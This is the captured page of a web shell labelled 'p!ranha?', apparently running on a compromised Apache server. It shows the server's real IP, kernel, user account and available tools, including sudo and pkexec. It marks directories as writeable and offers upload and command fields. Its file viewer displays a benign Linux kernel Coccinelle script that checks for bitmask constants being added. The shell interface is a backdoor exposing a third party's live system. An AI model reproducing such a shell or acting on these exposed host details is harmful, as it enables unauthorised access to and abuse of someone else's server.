p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.216.202
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/modules/3.10.0-1160.119.1.el7.x86_64/build/scripts/coccinelle/misc/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /usr/lib/modules/3.10.0-1160.119.1.el7.x86_64/build/scripts/coccinelle/misc/orplus.cocci
/// Check for constants that are added but are used elsewhere as bitmasks
/// The results should be checked manually to ensure that the nonzero
/// bits in the two constants are actually disjoint.
///
// Confidence: Moderate
// Copyright: (C) 2013 Julia Lawall, INRIA/LIP6.  GPLv2.
// Copyright: (C) 2013 Gilles Muller, INRIA/LIP6.  GPLv2.
// URL: http://coccinelle.lip6.fr/
// Comments:
// Options: -no_includes -include_headers

virtual org
virtual report
virtual context

@r@
constant c;
identifier i;
expression e;
@@

(
e | c@i
|
e & c@i
|
e |= c@i
|
e &= c@i
)

@s@
constant r.c,c1;
identifier i1;
position p;
@@

(
 c1 + c - 1
|
*c1@i1 +@p c
)

@script:python depends on org@
p << s.p;
@@

cocci.print_main("sum of probable bitmasks, consider |",p)

@script:python depends on report@
p << s.p;
@@

msg = "WARNING: sum of probable bitmasks, consider |"
coccilib.report.print_report(p[0],msg)
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
September 29 2025 07:00:57
0 / 0
0755
boolinit.cocci
2.195 KB
November 06 2023 09:15:52
0 / 0
0644
cstptr.cocci
0.806 KB
November 06 2023 09:15:52
0 / 0
0644
doubleinit.cocci
1.356 KB
November 06 2023 09:15:52
0 / 0
0644
ifaddr.cocci
0.656 KB
November 06 2023 09:15:52
0 / 0
0644
ifcol.cocci
1.211 KB
November 06 2023 09:15:52
0 / 0
0644
irqf_oneshot.cocci
1.091 KB
November 06 2023 09:15:52
0 / 0
0644
memcpy-assign.cocci
1.883 KB
November 06 2023 09:15:52
0 / 0
0644
noderef.cocci
0.967 KB
November 06 2023 09:15:52
0 / 0
0644
orplus.cocci
0.877 KB
November 06 2023 09:15:52
0 / 0
0644
semicolon.cocci
1.038 KB
November 06 2023 09:15:52
0 / 0
0644
warn.cocci
1.62 KB
November 06 2023 09:15:52
0 / 0
0644